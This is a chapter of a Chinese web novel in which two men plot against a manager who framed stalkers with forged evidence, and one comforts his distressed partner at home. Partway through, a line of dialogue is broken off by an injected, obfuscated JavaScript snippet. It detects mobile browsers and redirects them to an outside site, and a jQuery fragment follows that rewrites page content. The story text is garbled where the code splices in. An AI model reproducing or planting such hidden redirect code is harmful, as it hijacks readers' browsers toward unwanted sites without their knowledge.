袁百川倾身过去,仔细看着。
“张成用这种伪造证据把人送进去的手段,不是第一次了。”李阳嗤笑一声,“我顺着这条线摸了一下,他之前带过的艺人里,至少有三个的极端私生,都是用类似手法‘处理’掉的。有一个情节轻的,被关了三个月,还有一个,到现在还没出来。”
袁百川皱眉:“能联系到这些人吗?”
“正在想办法联系。”李阳说,“但难点在于,当时那些艺人大多要么和宿望一样被蒙在鼓里,以为是公司正常维权,要么就是被张成威胁利诱,不敢出声。现在时过境迁,想让他们站出来指证张成,很难。”
袁百川沉默着,烟雾模糊了他的表情。他知道李阳说的是事实,让那些已经脱离苦海的人再回头卷入漩涡,需要极大的勇气和契机。
李阳继续道,“我这边,继续尝试接触那些可能的受害者,看看能不能找到突破口,哪怕只是拿到一些旁证或者证词。另一方面,”
袁百川接过话头:“张成屁股底下不干净,他那个公司也不可能完全清白。我在找到他们财务或者税务上的硬伤,用这个跟公司高层谈。毕竟张成再能干也只是一个经纪人,他们犯不着为了他赔上整个公司的声誉甚至惹上官司。”
李阳点了点头,李阳袁百川的思路很清晰,也切中要害。
直接对抗张成和他背后的公司是螳臂当车,但利用公司内部的利益纠葛和自我保护机制,逼他们弃车保帅,是可行的。
“嗯,这事急不得,但必须快。”李阳合上电脑,揉了揉发胀的太阳穴,“宿望这边……解约你有几成把握?。”
“八成,”袁百川目光投向紧闭的卧室门:“但是舆论上还需要我们再推一把。”
“真狠啊川哥,”李阳笑着活动了一下有些麻木的膝盖,站起身:“啤酒?”
“行。”袁百川应着,也掐灭了手里的烟。
李阳从冰箱里拿出两罐冰啤酒,走回来,递了一罐给袁百川。
“咔嚓”两声,两人都没说话,仰头灌了几大口,冰凉的液体流入胃里,袁百川舒服地靠近了沙发里。
窗外的天光又亮了些,城市苏醒的喧嚣隐约传了进来。
李阳抹了一把嘴角看向袁百川:“推舆论的事我来吧,你的精力还得放宿望身上,别把自己累垮了。”
袁百川没有推拒,他突然理解了舒芷秋的那句有这么帮朋友在身边真好。
“好,”袁百川之间无意识地摩挲着啤酒罐:“把握好分寸,别把火引到你自己身上。”
“明白,”李阳点头,“我有数。”
第二天,宿望醒的很晚,阳光已经明晃晃地铺满了大半个卧室。
宿望睁开眼第一个感觉就是眼睛肿得发涨,干涩刺痛,第二个感觉是身边是空的,伸手一摸,床铺冰凉。
宿望心里咯噔一下,几乎是立刻从床上弹坐起来,“袁百川?”
他喊了一声,声音因为昨天的哭喊而异常沙哑。
几乎是声音落下的瞬间,卧室门从外面被推开,袁百川探身进来,手里还拿着手机,似乎刚结束通话。
“醒了?”袁百川走进来,头发还有些凌乱,看样子也是刚起不久。他走到床边,伸手揉了一把宿望的脸,“眼睛难受吧?我给你冰了毛巾,一会洗漱完敷一下。”
宿望没回答,只是仰着头看袁百川,下意识抓住了袁百川的衣角。
袁百川反握住宿望的手,在他身边坐下:“李阳去医院换阿姨了,阿姨昨天守了一夜,这会而回酒店休息了。我今天哪也不去,在家陪你。”
宿望嗯了一声,沉默了几秒才闷闷地问:“你刚才......在打电话?”
“处理点事,”袁百川没有隐瞒,“关于张成的。”
听到这个名字,宿望还是没忍住叹了口气,但也没继续追问,只是低着头,手指下意识地扣着袁百川的睡衣纽扣。
“现在还是再尝试,等有进展之后我过完年你细说好不好?”袁百川看见宿望点头才笑了出来。
“饿不饿?我去官网i你弄点吃的。”说着袁百川想起身,他刚一动,宿望立刻抬起头,手更用力的抓着他的衣角。
袁百川动作顿住,重新坐稳:“那我先陪你去洗漱?我需要再打个电话,就在你旁边打,好不好?”
宿望看着袁百川这副哄小孩的语气,心里慌乱的焦虑终于平息了下去,他哑着嗓子笑了半天,“川哥,考个幼教吧,挺合适的。”
袁百川被他笑得莫名其妙,伸手一巴掌拍在宿望后脑勺上:“多余哄你,赶紧的,我快饿死了。”
袁百川看着宿望起身走进卫生间,这才拿起手机,翻了个号码拨了出去。
电话很快接通,是一个略显精明的男声:“袁先生?”
“王律师,”袁百川开口,“材料那边我发你了一份新的,我这边现在在努力争取新的证人,但是现在需要跟您确认个事情。”
两人又简短地交流了几句细节,然后挂了电话。
宿望洗漱完出来,脸上还挂着水珠,但是看向袁百川的眼神里已然恢复了少于光亮。
袁百川笑着对宿望摇了摇手机:“听到了?”
宿望点点头,过来扯袁百川的手:“吃饭吧,我也饿了。”
袁百川呼噜了一把宿望的头发才带着宿望进了厨房,从冰箱里拿了个冰毛巾递了过去。
宿望就靠着料理台仰头吧毛巾敷在眼睛上,听着袁百川再冰箱里翻找着食材。
过了一会,宿望感觉后脑勺被一只手扶了一下,袁百川的声音在耳边响起:“脖子不累吗?沙发上躺着去。”
“不要。”宿望声音还是有点哑,感受着袁百川的手带来的支撑力,晃着脑袋蹭了蹭,“我就在这。”
宿望听见袁百川低低笑了两声,他拿下毛巾瞪着袁百川:“笑屁!”
袁百川还是笑:“冰箱里没吃的了,点外卖吧。”
宿望瞪了他一眼,伸手拽着袁百川的胳膊往沙发走:“点个外卖给你高兴成这样?”
袁百川笑得更欢了。
宿望瞪了一眼袁百川,在沙发上枕着袁百川的腿躺下,重新把毛巾放回眼睛上。
接下来的一整天,宿望跟个尾巴似的,袁百川走到哪他就跟到哪。
甚至袁百川去上个厕所他也在门口蹲着。
“哎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822691|183223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
呦喂,怎么可怜巴巴的啊。”袁百川笑得停不下来。
宿望仰头看了一眼袁百川撇了撇嘴,这一天袁百川的笑就没怎么停过。
宿望知道自己这个行为确实有点幼稚,但是他现在就是想跟着袁百川,只要袁百川离开他的视线那种铺天盖地的焦虑和不安就会反扑上来把他淹死。
袁百川也由着他,甚至刻意放慢了自己动作的节奏。
下午,袁百川又接了几个电话,有李阳的,也有关于其他线索的反馈。他大部分时间都开着免提,偶尔还会跟宿望解释一两句对方的身份。
宿望也不多问,袁百川说什么他也只是点头。
傍晚时分,天色渐暗,客厅里有沙发旁的落地灯散发着暖黄的光。
袁百川合上电脑,揉了揉发酸的脖颈,侧头看向旁边。
宿望不知什么时候歪在沙发靠垫上睡着了,眉头微蹙着,但脸色比前两天好了不少,宿望的一只手还搭在袁百川的腿边,保持着入睡前的接触。
袁百川没动,怕惊醒他,只是静静的看着,心里一阵阵发酸,他当然清楚宿望这一天的形影不离是因为没有安全感,同时又很庆幸,这样的宿望愿意依赖自己。
窗外不知是谁家的饭菜香飘进来,袁百川才后知后觉的感觉到饿,正想着要不要点个什么晚饭的时候宿望搁在茶几上的手机突然响了起来。
宿望几乎是立刻惊醒,手下意识的扶上袁百川的大腿。
“没事,”袁百川抓住宿望冰凉的手出声安抚,“是电话。”
宿望定了定神,才看向手机,来电显示是“妈妈”。
他坐直身体,深吸一口气才接起电话:“妈。”
袁百川起身,指了指阳台,示意自己去抽根烟,宿望点了点头,目光却一直跟着他,直到他拉开阳台门走出去。
袁百川靠在冰凉的栏杆上,点燃了烟。猩红的火点在黑暗中明明灭灭。
他隐约能听见客厅里宿望讲电话的声音,断断续续但是情绪稳定。
这种感觉很奇特,好像在纷乱无章的生活里找到了一个奇怪的平衡点,不想维持,也没有勇气打破。
手机震动,是李阳的消息。
【。:接触到一个,有点松动,还在磨。】
袁百川叼着烟,单手打字:【谨慎。】
一根烟抽完,他在冷风里又站了一会儿,才拉开门回到客厅。
宿望已经打完了电话,他看见袁百川进来,很自然地把脑袋重新枕回袁百川的腿上轻声说:“我妈说,旸旸比昨天和一点,这几天应该就能醒。”
袁百川一下下的抚摸着宿望的头发:“是好消息,你明天安心在家待着,我去医院看看。”
宿望抬起头:“我也要去。”没等袁百川反驳,宿望就接着说:“我晚上去,人少,不会被私生抓到的。”
袁百川没忍心拒绝,点头答应下来。
“袁百川。”宿望住过袁百川的手翻身平躺。
“我在。”
宿望拉着袁百川的手放到嘴边不轻不重地在虎口咬了一下:“我爱你。”
“我知道。”袁百川笑着捏了捏宿望的下巴:“我也爱你。”